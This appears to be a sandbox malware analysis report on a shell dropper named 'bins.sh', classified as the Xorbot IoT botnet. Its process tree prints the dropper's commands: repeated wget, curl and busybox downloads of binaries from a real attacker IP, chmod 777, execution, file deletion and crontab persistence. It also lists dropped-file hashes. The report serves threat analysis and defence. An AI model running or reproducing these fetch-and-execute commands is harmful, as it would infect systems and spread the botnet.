Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    14/01/2025, 01:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250114-bnc4rssnd1
  • SHA256 31f2db278251d6fbc718b868718f077aafc1580f0dd44bc2fb3acacf3f32944a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1993) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1519
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1520
        • /usr/bin/wget
          wget http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1521
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1525
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1526
        • /bin/chmod
          chmod 777 7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • File and Directory Permissions Modification
          PID:1527
        • /tmp/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          ./7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:1528
        • /bin/rm
          rm 7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          PID:1530
        • /usr/bin/wget
          wget http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Writes file to tmp directory
          PID:1531
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Writes file to tmp directory
          PID:1532
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Writes file to tmp directory
          PID:1533
        • /bin/chmod
          chmod 777 l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • File and Directory Permissions Modification
          PID:1534
        • /tmp/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          ./l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Executes dropped EXE
          PID:1535
        • /bin/rm
          rm l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
            PID:1537
          • /usr/bin/wget
            wget http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Writes file to tmp directory
            PID:1538
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Writes file to tmp directory
            PID:1539
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Writes file to tmp directory
            PID:1540
          • /bin/chmod
            chmod 777 VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • File and Directory Permissions Modification
            PID:1541
          • /tmp/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            ./VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Executes dropped EXE
            PID:1542
          • /bin/rm
            rm VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
              PID:1544
            • /usr/bin/wget
              wget http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
              2⤵
              • Writes file to tmp directory
              PID:1545
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
              2⤵
              • Writes file to tmp directory
              PID:1546
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
              2⤵
              • Writes file to tmp directory
              PID:1547
            • /bin/chmod
              chmod 777 frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
              2⤵
              • File and Directory Permissions Modification
              PID:1548
            • /tmp/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
              ./frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
              2⤵
              • Executes dropped EXE
              PID:1549
            • /bin/rm
              rm frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
              2⤵
                PID:1551
              • /usr/bin/wget
                wget http://94.154.35.94/bins/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                2⤵
                • Writes file to tmp directory
                PID:1552
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                2⤵
                • Writes file to tmp directory
                PID:1553
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                2⤵
                • Writes file to tmp directory
                PID:1554
              • /bin/chmod
                chmod 777 YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                2⤵
                • File and Directory Permissions Modification
                PID:1555
              • /tmp/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                ./YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                2⤵
                • Executes dropped EXE
                PID:1556
              • /bin/rm
                rm YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                2⤵
                  PID:1558
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                  2⤵
                  • Writes file to tmp directory
                  PID:1559
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                  2⤵
                  • Writes file to tmp directory
                  PID:1560
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                  2⤵
                  • Writes file to tmp directory
                  PID:1561
                • /bin/chmod
                  chmod 777 BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1562
                • /tmp/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                  ./BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                  2⤵
                  • Executes dropped EXE
                  PID:1563
                • /bin/rm
                  rm BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                  2⤵
                    PID:1565
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                    2⤵
                    • Writes file to tmp directory
                    PID:1566
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                    2⤵
                    • Writes file to tmp directory
                    PID:1567
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                    2⤵
                    • Writes file to tmp directory
                    PID:1568
                  • /bin/chmod
                    chmod 777 ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1569
                  • /tmp/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                    ./ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1570
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1572
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1573
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1574
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1575
                        • /bin/rm
                          rm ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                          2⤵
                            PID:1577
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                            2⤵
                              PID:1580

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
                                • Path /tmp/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                • Path /tmp/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                • Size 107KB
                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                                • Path /tmp/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                                • Size 151KB
                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                                • Path /tmp/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                                • Path /tmp/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                                • Size 111KB
                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                • Path /tmp/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                                • Path /tmp/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                                • Size 141KB
                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.YCjSTV
                                • Path /var/spool/cron/crontabs/tmp.YCjSTV
                                • Size 210B
                                • SHA256 d5bc4c98602d37aa198e66c5380805b9a2996bc188eff9fd4c8937ea39eec7ff
                                • MD5 SHA1 SHA512
                                Submit Download